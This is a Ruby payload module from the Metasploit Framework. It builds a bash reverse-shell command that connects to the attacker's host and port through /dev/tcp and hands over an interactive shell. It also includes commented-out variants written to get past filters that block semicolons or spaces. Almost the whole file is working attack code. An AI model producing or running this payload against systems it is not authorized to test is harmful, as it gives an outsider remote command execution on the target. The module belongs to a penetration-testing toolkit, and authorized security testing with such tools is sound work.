67 lines
1.8 KiB
Ruby
67 lines
1.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP (/dev/tcp)',
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'Version' => '$Revision$',
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'Description' => %q{
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Creates an interactive shell via bash's builtin /dev/tcp.
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This will not work on most Debian-based Linux distributions
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(including Ubuntu) because they compile bash without the
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/dev/tcp feature.
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},
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'Author' => 'hdm',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd_bash',
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'RequiredCmd' => 'bash-tcp',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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fd = rand(200) + 20
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return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};sh <&#{fd} >&#{fd} 2>&#{fd}";
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# same thing, no semicolons
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#return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
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# same thing, no spaces
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#return "s=${IFS:0:1};eval$s\"bash${s}#{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']}$s<&#{fd}$s>&#{fd}&\""
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end
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end
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